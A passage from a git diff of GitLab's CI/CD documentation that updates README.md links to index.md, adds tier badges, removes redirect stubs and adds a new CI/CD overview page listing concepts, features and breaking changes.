(`Grails.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Grails.gitlab-ci.yml) +- [iOS with fastlane (`iOS-Fastlane.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/iOS-Fastlane.gitlab-ci.yml) +- [Julia (`Julia.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Julia.gitlab-ci.yml) +- [Laravel (`Laravel.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Laravel.gitlab-ci.yml) +- [LaTeX (`LaTeX.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/LaTeX.gitlab-ci.yml) +- [Maven (`Maven.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Maven.gitlab-ci.yml) +- [Mono (`Mono.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Mono.gitlab-ci.yml) +- [npm (`npm.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/npm.gitlab-ci.yml) +- [Node.js (`Nodejs.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Nodejs.gitlab-ci.yml) +- [OpenShift (`OpenShift.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/OpenShift.gitlab-ci.yml) +- [Packer (`Packer.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Packer.gitlab-ci.yml) +- [PHP (`PHP.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/PHP.gitlab-ci.yml) +- [Python (`Python.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Python.gitlab-ci.yml) +- [Ruby (`Ruby.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Ruby.gitlab-ci.yml) +- [Rust (`Rust.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Rust.gitlab-ci.yml) +- [Scala (`Scala.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Scala.gitlab-ci.yml) +- [Swift (`Swift.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Swift.gitlab-ci.yml) +- [Terraform (`Terraform.latest.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Terraform.latest.gitlab-ci.yml) + +If a programming language or framework template is not in this list, you can contribute +one. To create a template, submit a merge request +to [the templates list](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates). + +### Adding templates to your GitLab installation **(PREMIUM SELF)** + +You can add custom examples and templates to your self-managed GitLab instance. +Your GitLab administrator can [designate an instance template repository](../../user/admin_area/settings/instance_template_repository.md) +that contains examples and templates specific to your organization. + +## Other resources + +This section provides further resources to help you get familiar with various uses of GitLab CI/CD. +Note that older articles and videos may not reflect the state of the latest GitLab release. + +### CI/CD in the cloud + +For examples of setting up GitLab CI/CD for cloud-based environments, see: + +- [How to set up multi-account AWS SAM deployments with GitLab CI](https://about.gitlab.com/blog/2019/02/04/multi-account-aws-sam-deployments-with-gitlab-ci/) +- [Automating Kubernetes Deployments with GitLab CI/CD](https://www.youtube.com/watch?v=wEDRfAz6_Uw) +- [How to autoscale continuous deployment with GitLab Runner on DigitalOcean](https://about.gitlab.com/blog/2018/06/19/autoscale-continuous-deployment-gitlab-runner-digital-ocean/) +- [How to create a CI/CD pipeline with Auto Deploy to Kubernetes using GitLab and Helm](https://about.gitlab.com/blog/2017/09/21/how-to-create-ci-cd-pipeline-with-autodeploy-to-kubernetes-using-gitlab-and-helm/) +- [Demo - Deploying from GitLab to OpenShift Container Cluster](https://youtu.be/EwbhA53Jpp4) + +See also the following video overviews: + +- [Kubernetes, GitLab, and Cloud Native](https://www.youtube.com/watch?v=d-9awBxEbvQ). +- [Deploying to IBM Cloud with GitLab CI/CD](https://www.youtube.com/watch?v=6ZF4vgKMd-g). + +### Customer stories + +For some customer experiences with GitLab CI/CD, see: + +- [How Verizon Connect reduced data center deploys from 30 days to under 8 hours with GitLab](https://about.gitlab.com/blog/2019/02/14/verizon-customer-story/) +- [How Wag! cut their release process from 40 minutes to just 6](https://about.gitlab.com/blog/2019/01/16/wag-labs-blog-post/) +- [How Jaguar Land Rover embraced CI to speed up their software lifecycle](https://about.gitlab.com/blog/2018/07/23/chris-hill-devops-enterprise-summit-talk/) + +### Getting started + +For some examples to help get you started, see: + +- [GitLab CI/CD's 2018 highlights](https://about.gitlab.com/blog/2019/01/21/gitlab-ci-cd-features-improvements/) +- [A beginner's guide to continuous integration](https://about.gitlab.com/blog/2018/01/22/a-beginners-guide-to-continuous-integration/) + +### Implementing GitLab CI/CD + +For examples of others who have implemented GitLab CI/CD, see: + +- [How to streamline interactions between multiple repositories with multi-project pipelines](https://about.gitlab.com/blog/2018/10/31/use-multiproject-pipelines-with-gitlab-cicd/) +- [How we used GitLab CI to build GitLab faster](https://about.gitlab.com/blog/2018/05/02/using-gitlab-ci-to-build-gitlab-faster/) +- [Test all the things in GitLab CI with Docker by example](https://about.gitlab.com/blog/2018/02/05/test-all-the-things-gitlab-ci-docker-examples/) +- [A Craftsman looks at continuous integration](https://about.gitlab.com/blog/2018/01/17/craftsman-looks-at-continuous-integration/) +- [Go tools and GitLab: How to do continuous integration like a boss](https://about.gitlab.com/blog/2017/11/27/go-tools-and-gitlab-how-to-do-continuous-integration-like-a-boss/) +- [GitBot – automating boring Git operations with CI](https://about.gitlab.com/blog/2017/11/02/automating-boring-git-operations-gitlab-ci/) +- [How to use GitLab CI for Vue.js](https://about.gitlab.com/blog/2017/09/12/vuejs-app-gitlab/) +- Video: [GitLab CI/CD Deep Dive](https://youtu.be/pBe4t1CD8Fc?t=195) +- [Dockerizing GitLab Review Apps](https://about.gitlab.com/blog/2017/07/11/dockerizing-review-apps/) +- [Fast and natural continuous integration with GitLab CI](https://about.gitlab.com/blog/2017/05/22/fast-and-natural-continuous-integration-with-gitlab-ci/) +- [Demo: CI/CD with GitLab in action](https://about.gitlab.com/blog/2017/03/13/ci-cd-demo/) + +### Migrating to GitLab from third-party CI tools + +- [Migrating from Jenkins to GitLab](https://youtu.be/RlEVGOpYF5Y) + +### Integrating GitLab CI/CD with other systems + +To see how you can integrate GitLab CI/CD with third-party systems, see: + +- [Streamline and shorten error remediation with Sentry's new GitLab integration](https://about.gitlab.com/blog/2019/01/25/sentry-integration-blog-post/) +- [How to simplify your smart home configuration with GitLab CI/CD](https://about.gitlab.com/blog/2018/08/02/using-the-gitlab-ci-slash-cd-for-smart-home-configuration-management/) +- [Demo: GitLab + Jira + Jenkins](https://about.gitlab.com/blog/2018/07/30/gitlab-workflow-with-jira-jenkins/) +- [Introducing Auto Breakfast from GitLab (sort of)](https://about.gitlab.com/blog/2018/06/29/introducing-auto-breakfast-from-gitlab/) + +### Mobile development + +For help with using GitLab CI/CD for mobile application development, see: + +- [How to publish Android apps to the Google Play Store with GitLab and fastlane](https://about.gitlab.com/blog/2019/01/28/android-publishing-with-gitlab-and-fastlane/) +- [Setting up GitLab CI for Android projects](https://about.gitlab.com/blog/2018/10/24/setting-up-gitlab-ci-for-android-projects/) +- [Working with YAML in GitLab CI from the Android perspective](https://about.gitlab.com/blog/2017/11/20/working-with-yaml-gitlab-ci-android/) +- [How to use GitLab CI and MacStadium to build your macOS or iOS projects](https://about.gitlab.com/blog/2017/05/15/how-to-use-macstadium-and-gitlab-ci-to-build-your-macos-or-ios-projects/) +- [Setting up GitLab CI for iOS projects](https://about.gitlab.com/blog/2016/03/10/setting-up-gitlab-ci-for-ios-projects/) diff --git a/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md b/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md index 5f08f2954f5..c511839b3e4 100644 --- a/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md +++ b/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md @@ -11,7 +11,7 @@ date: 2017-08-31 <!-- vale off --> -# Test and deploy Laravel applications with GitLab CI/CD and Envoy +# Test and deploy Laravel applications with GitLab CI/CD and Envoy **(FREE)** ## Introduction @@ -106,7 +106,7 @@ sudo apt install acl ### Add SSH key -Let's suppose we want to deploy our app to the production server from a private repository on GitLab. First, we need to [generate a new SSH key pair **with no passphrase**](../../../ssh/README.md) for the deployer user. +Let's suppose we want to deploy our app to the production server from a private repository on GitLab. First, we need to [generate a new SSH key pair **with no passphrase**](../../../ssh/index.md) for the deployer user. After that, we need to copy the private key, which will be used to connect to our server as the deployer user with SSH, to be able to automate our deployment process: @@ -119,7 +119,7 @@ cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys cat ~/.ssh/id_rsa ``` -Now, let's add it to your GitLab project as a [CI/CD variable](../../variables/README.md). +Now, let's add it to your GitLab project as a [CI/CD variable](../../variables/index.md). Project CI/CD variables are user-defined variables and are stored out of `.gitlab-ci.yml`, for security purposes. They can be added per project by navigating to the project's **Settings** > **CI/CD**. @@ -530,7 +530,7 @@ That's a lot to take in, isn't it? Let's run through it step by step. #### Image and Services -[Runners](../../runners/README.md) run the script defined by `.gitlab-ci.yml`. +[Runners](../../runners/index.md) run the script defined by `.gitlab-ci.yml`. The `image` keyword tells the runners which image to use. The `services` keyword defines additional images [that are linked to the main image](../../services/index.md). Here we use the container image we created before as our main image and also use MySQL 5.7 as a service. @@ -548,7 +548,7 @@ If you wish to test your app with different PHP versions and [database managemen #### CI/CD variables -GitLab CI/CD allows us to use [CI/CD variables](../../yaml/README.md#variables) in our jobs. +GitLab CI/CD allows us to use [CI/CD variables](../../yaml/index.md#variables) in our jobs. We defined MySQL as our database management system, which comes with a superuser root created by default. So we should adjust the configuration of MySQL instance by defining `MYSQL_DATABASE` variable as our database name and `MYSQL_ROOT_PASSWORD` variable as the password of `root`. @@ -567,7 +567,7 @@ variables: #### Unit Test as the first job -We defined the required shell scripts as an array of the [script](../../yaml/README.md#script) keyword to be executed when running `unit_test` job. +We defined the required shell scripts as an array of the [script](../../yaml/index.md#script) keyword to be executed when running `unit_test` job. These scripts are some Artisan commands to prepare the Laravel, and, at the end of the script, we'll run the tests by `PHPUnit`. @@ -593,7 +593,7 @@ To deploy our app with Envoy, we had to set up the `$SSH_PRIVATE_KEY` variable a If the SSH keys have added successfully, we can run Envoy. As mentioned before, GitLab supports [Continuous Delivery](https://about.gitlab.com/blog/2016/08/05/continuous-integration-delivery-and-deployment-with-gitlab/#continuous-delivery) methods as well. -The [environment](../../yaml/README.md#environment) keyword tells GitLab that this job deploys to the `production` environment. +The [environment](../../yaml/index.md#environment) keyword tells GitLab that this job deploys to the `production` environment. The `url` keyword is used to generate a link to our application on the GitLab Environments page. The `only` keyword tells GitLab CI/CD that the job should be executed only when the pipeline is building the `main` branch. Lastly, `when: manual` is used to turn the job from running automatically to a manual action. diff --git a/doc/ci/examples/php.md b/doc/ci/examples/php.md index fc639b19ca0..666c4d444d8 100644 --- a/doc/ci/examples/php.md +++ b/doc/ci/examples/php.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: tutorial --- -# Testing PHP projects +# Testing PHP projects **(FREE)** This guide covers basic building instructions for PHP projects. @@ -25,9 +25,9 @@ things manually. As with every job, you need to create a valid `.gitlab-ci.yml` describing the build environment. -Let's first specify the PHP image that is used for the job process -(you can read more about what an image means in the runner's lingo reading -about [Using Docker images](../docker/using_docker_images.md#what-is-an-image)). +Let's first specify the PHP image that is used for the job process. +(You can read more about what an image means in the runner's lingo reading +about [Using Docker images](../docker/using_docker_images.md#what-is-an-image).) Start by adding the image to your `.gitlab-ci.yml`: @@ -270,7 +270,7 @@ gitlab-runner exec shell test:app We have set up an [Example PHP Project](https://gitlab.com/gitlab-examples/php) for your convenience that runs on [GitLab.com](https://gitlab.com) using our publicly available -[shared runners](../runners/README.md). +[shared runners](../runners/index.md). Want to hack on it? Simply fork it, commit, and push your changes. Within a few moments the changes are picked by a public runner and the job begins. diff --git a/doc/ci/examples/semantic-release.md b/doc/ci/examples/semantic-release.md index 28a0080626a..e7b9b9b51ad 100644 --- a/doc/ci/examples/semantic-release.md +++ b/doc/ci/examples/semantic-release.md @@ -4,7 +4,7 @@ group: Package info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Publish npm packages to the GitLab Package Registry using semantic-release +# Publish npm packages to the GitLab Package Registry using semantic-release **(FREE)** This guide demonstrates how to automatically publish npm packages to the [GitLab Package Registry](../../user/packages/npm_registry/index.md) by using [semantic-release](https://github.com/semantic-release/semantic-release). diff --git a/doc/ci/examples/test-and-deploy-python-application-to-heroku.md b/doc/ci/examples/test-and-deploy-python-application-to-heroku.md deleted file mode 100644 index 94cfb8c1c58..00000000000 --- a/doc/ci/examples/test-and-deploy-python-application-to-heroku.md +++ /dev/null @@ -1,9 +0,0 @@ ---- -redirect_to: 'README.md#contributed-examples' -remove_date: '2021-06-01' ---- - -This document was moved to [another location](README.md#contributed-examples). - -<!-- This redirect file can be deleted after 2021-06-01. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md b/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md deleted file mode 100644 index 94cfb8c1c58..00000000000 --- a/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md +++ /dev/null @@ -1,9 +0,0 @@ ---- -redirect_to: 'README.md#contributed-examples' -remove_date: '2021-06-01' ---- - -This document was moved to [another location](README.md#contributed-examples). - -<!-- This redirect file can be deleted after 2021-06-01. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/test-clojure-application.md b/doc/ci/examples/test-clojure-application.md deleted file mode 100644 index cb4040212ad..00000000000 --- a/doc/ci/examples/test-clojure-application.md +++ /dev/null @@ -1,9 +0,0 @@ ---- -redirect_to: 'README.md#contributed-examples' -remove_date: '2021-05-26' ---- - -This document was moved to [another location](README.md#contributed-examples). - -<!-- This redirect file can be deleted after 2021-05-26. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/git_submodules.md b/doc/ci/git_submodules.md index f0ea5ed582c..0df653acca4 100644 --- a/doc/ci/git_submodules.md +++ b/doc/ci/git_submodules.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Using Git submodules with GitLab CI/CD +# Using Git submodules with GitLab CI/CD **(FREE)** Use [Git submodules](https://git-scm.com/book/en/v2/Git-Tools-Submodules) to keep a Git repository as a subdirectory of another Git repository. You can clone another diff --git a/doc/ci/index.md b/doc/ci/index.md new file mode 100644 index 00000000000..593f50d4ffd --- /dev/null +++ b/doc/ci/index.md @@ -0,0 +1,186 @@ +--- +stage: Verify +group: Pipeline Execution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +comments: false +description: "Learn how to use GitLab CI/CD, the GitLab built-in Continuous Integration, Continuous Deployment, and Continuous Delivery toolset to build, test, and deploy your application." +type: index +--- + +# GitLab CI/CD **(FREE)** + +GitLab CI/CD is a tool built into GitLab for software development +through the [continuous methodologies](introduction/index.md): + +- Continuous Integration (CI) +- Continuous Delivery (CD) +- Continuous Deployment (CD) + +NOTE: +Out-of-the-box management systems can decrease hours spent on maintaining toolchains by 10% or more. +Watch our ["Mastering continuous software development"](https://about.gitlab.com/webcast/mastering-ci-cd/) +webcast to learn about continuous methods and how the GitLab built-in CI can help you simplify and scale software development. + +Continuous Integration works by pushing small code chunks to your +application's codebase hosted in a Git repository, and to every +push, run a pipeline of scripts to build, test, and validate the +code changes before merging them into the main branch. + +Continuous Delivery and Deployment consist of a step further CI, +deploying your application to production at every +push to the default branch of the repository. + +These methodologies allow you to catch bugs and errors early in +the development cycle, ensuring that all the code deployed to +production complies with the code standards you established for +your app. + +GitLab can also automatically detect, build, test, deploy, and +monitor your applications by using [Auto DevOps](../topics/autodevops/index.md). + +For a complete overview of these methodologies and GitLab CI/CD, +read the [Introduction to CI/CD with GitLab](introduction/index.md). + +<div class="video-fallback"> + Video demonstration of GitLab CI/CD: <a href="https://www.youtube.com/watch?v=1iXFbchozdY">Demo: CI/CD with GitLab</a>. +</div> +<figure class="video-container"> + <iframe src="https://www.youtube.com/embed/1iXFbchozdY" frameborder="0" allowfullscreen="true"> </iframe> +</figure> + +## Concepts + +GitLab CI/CD uses a number of concepts to describe and run your build and deploy. + +| Concept | Description | +|:--------------------------------------------------------|:-------------------------------------------------------------------------------| +| [Pipelines](pipelines/index.md) | Structure your CI/CD process through pipelines. | +| [CI/CD variables](variables/index.md) | Reuse values based on a variable/value key pair. | +| [Environments](environments/index.md) | Deploy your application to different environments (e.g., staging, production). | +| [Job artifacts](pipelines/job_artifacts.md) | Output, use, and reuse job artifacts. | +| [Cache dependencies](caching/index.md) | Cache your dependencies for a faster execution. | +| [GitLab Runner](https://docs.gitlab.com/runner/) | Configure your own runners to execute your scripts. | +| [Pipeline efficiency](pipelines/pipeline_efficiency.md) | Configure your pipelines to run quickly and efficiently. | +| [Test cases](test_cases/index.md) | Configure your pipelines to run quickly and efficiently. <!--- this seems to be a duplicate description ---> | + +## Configuration + +GitLab CI/CD supports numerous configuration options: + +| Configuration | Description | +|:----------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------| +| [Schedule pipelines](pipelines/schedules.md) | Schedule pipelines to run as often as you need. | +| [Custom path for `.gitlab-ci.yml`](pipelines/settings.md#specify-a-custom-cicd-configuration-file) | Define a custom path for the CI/CD configuration file. | +| [Git submodules for CI/CD](git_submodules.md) | Configure jobs for using Git submodules. | +| [SSH keys for CI/CD](ssh_keys/index.md) | Using SSH keys in your CI pipelines. | +| [Pipeline triggers](triggers/index.md) | Trigger pipelines through the API. | +| [Pipelines for Merge Requests](pipelines/merge_request_pipelines.md) | Design a pipeline structure for running a pipeline in merge requests. | +| [Integrate with Kubernetes clusters](../user/project/clusters/index.md) | Connect your project to Google Kubernetes Engine (GKE) or an existing Kubernetes cluster. | +| [Optimize GitLab and GitLab Runner for large repositories](large_repositories/index.md) | Recommended strategies for handling large repositories. | +| [`.gitlab-ci.yml` full reference](yaml/index.md) | All the attributes you can use with GitLab CI/CD. | + +Note that certain operations can only be performed according to the +[user](../user/permissions.md#gitlab-cicd-permissions) and [job](../user/permissions.md#job-permissions) permissions. + +## Feature set + +Use the vast GitLab CI/CD to easily configure it for specific purposes. +Its feature set is listed on the table below according to DevOps stages. + +| Feature | Description | +|:------------------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------------------------------------------------| +| **Configure** | | +| [Auto DevOps](../topics/autodevops/index.md) | Set up your app's entire lifecycle. | +| [ChatOps](chatops/index.md) | Trigger CI jobs from chat, with results sent back to the channel. | +|-------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------| +| **Verify** | | +| [Browser Performance Testing](../user/project/merge_requests/browser_performance_testing.md) | Quickly determine the browser performance impact of pending code changes. | +| [Load Performance Testing](../user/project/merge_requests/load_performance_testing.md) | Quickly determine the server performance impact of pending code changes. | +| [CI services](services/index.md) | Link Docker containers with your base image. | +| [Code Quality](../user/project/merge_requests/code_quality.md) | Analyze your source code quality. | +| [GitLab CI/CD for external repositories](ci_cd_for_external_repos/index.md) **(PREMIUM)** | Get the benefits of GitLab CI/CD combined with repositories in GitHub and Bitbucket Cloud. | +| [Interactive Web Terminals](interactive_web_terminal/index.md) **(FREE SELF)** | Open an interactive web terminal to debug the running jobs. | +| [Unit test reports](unit_test_reports.md) | Identify script failures directly on merge requests. | +| [Using Docker images](docker/using_docker_images.md) | Use GitLab and GitLab Runner with Docker to build and test applications. | +|-------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------| +| **Release** | | +| [Auto Deploy](../topics/autodevops/stages.md#auto-deploy) | Deploy your application to a production environment in a Kubernetes cluster. | +| [Building Docker images](docker/using_docker_build.md) | Maintain Docker-based projects using GitLab CI/CD. | +| [Canary Deployments](../user/project/canary_deployments.md) | Ship features to only a portion of your pods and let a percentage of your user base to visit the temporarily deployed feature. | +| [Deploy Boards](../user/project/deploy_boards.md) | Check the current health and status of each CI/CD environment running on Kubernetes. | +| [Feature Flags](../operations/feature_flags.md) **(PREMIUM)** | Deploy your features behind Feature Flags. | +| [GitLab Pages](../user/project/pages/index.md) | Deploy static websites. | +| [GitLab Releases](../user/project/releases/index.md) | Add release notes to Git tags. | +| [Review Apps](review_apps/index.md) | Configure GitLab CI/CD to preview code changes. | +| [Cloud deployment](cloud_deployment/index.md) | Deploy your application to a main cloud provider. | +|-------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------| +| **Secure** | | +| [Container Scanning](../user/application_security/container_scanning/index.md) **(ULTIMATE)** | Check your Docker containers for known vulnerabilities. | +| [Dependency Scanning](../user/application_security/dependency_scanning/index.md) **(ULTIMATE)** | Analyze your dependencies for known vulnerabilities. | +| [License Compliance](../user/compliance/license_compliance/index.md) **(ULTIMATE)** | Search your project dependencies for their licenses. | +| [Security Test reports](../user/application_security/index.md) **(ULTIMATE)** | Check for app vulnerabilities. | + +## Examples + +Find example project code and tutorials for using GitLab CI/CD with a variety of app frameworks, languages, and platforms +on the [CI Examples](examples/README.md) page. + +## Administration **(FREE SELF)** + +As a GitLab administrator, you can change the default behavior +of GitLab CI/CD for: + +- An [entire GitLab instance](../user/admin_area/settings/continuous_integration.md). +- Specific projects, using [pipelines settings](pipelines/settings.md). + +See also: + +- [How to enable or disable GitLab CI/CD](enable_or_disable_ci.md). +- Other [CI administration settings](../administration/index.md#continuous-integration-settings). + +## References + +### Why GitLab CI/CD? + +Learn more about: + +- [Why you might choose GitLab CI/CD](https://about.gitlab.com/blog/2016/10/17/gitlab-ci-oohlala/). +- [Reasons you might migrate from another platform](https://about.gitlab.com/blog/2016/07/22/building-our-web-app-on-gitlab-ci/). +- [5 Teams that made the switch to GitLab CI/CD](https://about.gitlab.com/blog/2019/04/25/5-teams-that-made-the-switch-to-gitlab-ci-cd/) + +See also the [Why CI/CD?](https://docs.google.com/presentation/d/1OGgk2Tcxbpl7DJaIOzCX4Vqg3dlwfELC3u2jEeCBbDk) presentation. + +### Breaking changes + +As GitLab CI/CD has evolved, certain breaking changes have +been necessary. These are: + +#### 13.0 + +- [Remove Backported `os.Expand`](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4915). +- [Remove Fedora 29 package support](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/16158). +- [Remove macOS 32-bit support](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/25466). +- [Removed `debug/jobs/list?v=1` endpoint](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6361). +- [Remove support for array of strings when defining services for Docker executor](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4922). +- [Remove `--docker-services` flag on register command](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6404). +- [Remove legacy build directory caching](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4180). +- [Remove `FF_USE_LEGACY_VOLUMES_MOUNTING_ORDER` feature flag](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6581). +- [Remove support for Windows Server 1803](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6553). + +#### 12.0 + +- [Use `refspec` to clone/fetch Git repository](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4069). +- [Old cache configuration](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4070). +- [Old metrics server configuration](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4072). +- [Remove `FF_K8S_USE_ENTRYPOINT_OVER_COMMAND`](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4073). +- [Remove Linux distributions that reach EOL](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/1130). +- [Update command line API for helper images](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4013). +- [Remove old `git clean` flow](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4175). + +#### 11.0 + +- No breaking changes. + +#### 10.0 + +- No breaking changes. diff --git a/doc/ci/interactive_web_terminal/index.md b/doc/ci/interactive_web_terminal/index.md index cbf92438488..46abcf4a21d 100644 --- a/doc/ci/interactive_web_terminal/index.md +++ b/doc/ci/interactive_web_terminal/index.md @@ -16,7 +16,7 @@ is deployed, some [security precautions](../../administration/integration/termin taken to protect the users. NOTE: -[Shared runners on GitLab.com](../runners/README.md) do not +[Shared runners on GitLab.com](../runners/index.md) do not provide an interactive web terminal. Follow [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/24674) for progress on adding support. For groups and projects hosted on GitLab.com, interactive web diff --git a/doc/ci/introduction/index.md b/doc/ci/introduction/index.md index 780c5cd7762..add47c95051 100644 --- a/doc/ci/introduction/index.md +++ b/doc/ci/introduction/index.md @@ -26,7 +26,7 @@ Watch our ["Mastering continuous software development"](https://about.gitlab.com webcast to learn about continuous methods and how built-in GitLab CI/CD can help you simplify and scale software development. > - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> Learn how to [configure CI/CD](https://www.youtube.com/embed/opdLqwz6tcE). -> - [Make the case for CI/CD in your organization](https://about.gitlab.com/compare/github-actions-alternative/). +> - [Make the case for CI/CD in your organization](https://about.gitlab.com/devops-tools/github-vs-gitlab/). > - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> Learn how [Verizon reduced rebuilds](https://about.gitlab.com/blog/2019/02/14/verizon-customer-story/) > from 30 days to under 8 hours with GitLab. diff --git a/doc/ci/jobs/index.md b/doc/ci/jobs/index.md index 7a57d8abf0d..3fe30c78d6a 100644 --- a/doc/ci/jobs/index.md +++ b/doc/ci/jobs/index.md @@ -4,14 +4,14 @@ group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Jobs +# Jobs **(FREE)** Pipeline configuration begins with jobs. Jobs are the most fundamental element of a `.gitlab-ci.yml` file. Jobs are: - Defined with constraints stating under what conditions they should be executed. -- Top-level elements with an arbitrary name and must contain at least the [`script`](../yaml/README.md#script) clause. +- Top-level elements with an arbitrary name and must contain at least the [`script`](../yaml/index.md#script) clause. - Not limited in how many can be defined. For example: @@ -29,7 +29,7 @@ jobs, where each of the jobs executes a different command. Of course a command can execute code directly (`./configure;make;make install`) or run a script (`test.sh`) in the repository. -Jobs are picked up by [runners](../runners/README.md) and executed in the +Jobs are picked up by [runners](../runners/index.md) and executed in the environment of the runner. What is important is that each job is run independently from each other. @@ -101,7 +101,7 @@ jobs. Click to expand them.  -To create a group of jobs, in the [CI/CD pipeline configuration file](../yaml/README.md), +To create a group of jobs, in the [CI/CD pipeline configuration file](../yaml/index.md), separate each job name with a number and one of the following: - A slash (`/`), for example, `test 1/3`, `test 2/3`, `test 3/3`. @@ -157,9 +157,9 @@ additional variables. To access this page, click on the **name** of the manual j the pipeline view, *not* the play (**{play}**) button. This is useful when you want to alter the execution of a job that uses -[custom CI/CD variables](../variables/README.md#custom-cicd-variables). +[custom CI/CD variables](../variables/index.md#custom-cicd-variables). Add a variable name (key) and value here to override the value defined in -[the UI or `.gitlab-ci.yml`](../variables/README.md#custom-cicd-variables), +[the UI or `.gitlab-ci.yml`](../variables/index.md#custom-cicd-variables), for a single run of the manual job.  @@ -168,7 +168,7 @@ for a single run of the manual job. > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/21767) in GitLab 11.4. -When you do not want to run a job immediately, you can use the [`when:delayed`](../yaml/README.md#whendelayed) keyword to +When you do not want to run a job immediately, you can use the [`when:delayed`](../yaml/index.md#whendelayed) keyword to delay a job's execution for a certain period. This is especially useful for timed incremental rollout where new code is rolled out gradually. diff --git a/doc/ci/jobs/job_control.md b/doc/ci/jobs/job_control.md index d7e192bbfda..634214aedc3 100644 --- a/doc/ci/jobs/job_control.md +++ b/doc/ci/jobs/job_control.md @@ -12,22 +12,22 @@ the status of variables, the pipeline type, and so on. To configure a job to be included or excluded from certain pipelines, you can use: -- [`rules`](../yaml/README.md#rules) -- [`only`](../yaml/README.md#only--except) -- [`except`](../yaml/README.md#only--except) +- [`rules`](../yaml/index.md#rules) +- [`only`](../yaml/index.md#only--except) +- [`except`](../yaml/index.md#only--except) -Use [`needs`](../yaml/README.md#needs) to configure a job to run as soon as the +Use [`needs`](../yaml/index.md#needs) to configure a job to run as soon as the earlier jobs it depends on finish running. ## Specify when jobs run with `rules` > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/27863) in GitLab 12.3. -Use [`rules`](../yaml/README.md#rules) to include or exclude jobs in pipelines. +Use [`rules`](../yaml/index.md#rules) to include or exclude jobs in pipelines. Rules are evaluated in order until the first match. When a match is found, the job is either included or excluded from the pipeline, depending on the configuration. -See the [`rules`](../yaml/README.md#rules) reference for more details. +See the [`rules`](../yaml/index.md#rules) reference for more details. Future keyword improvements are being discussed in our [epic for improving 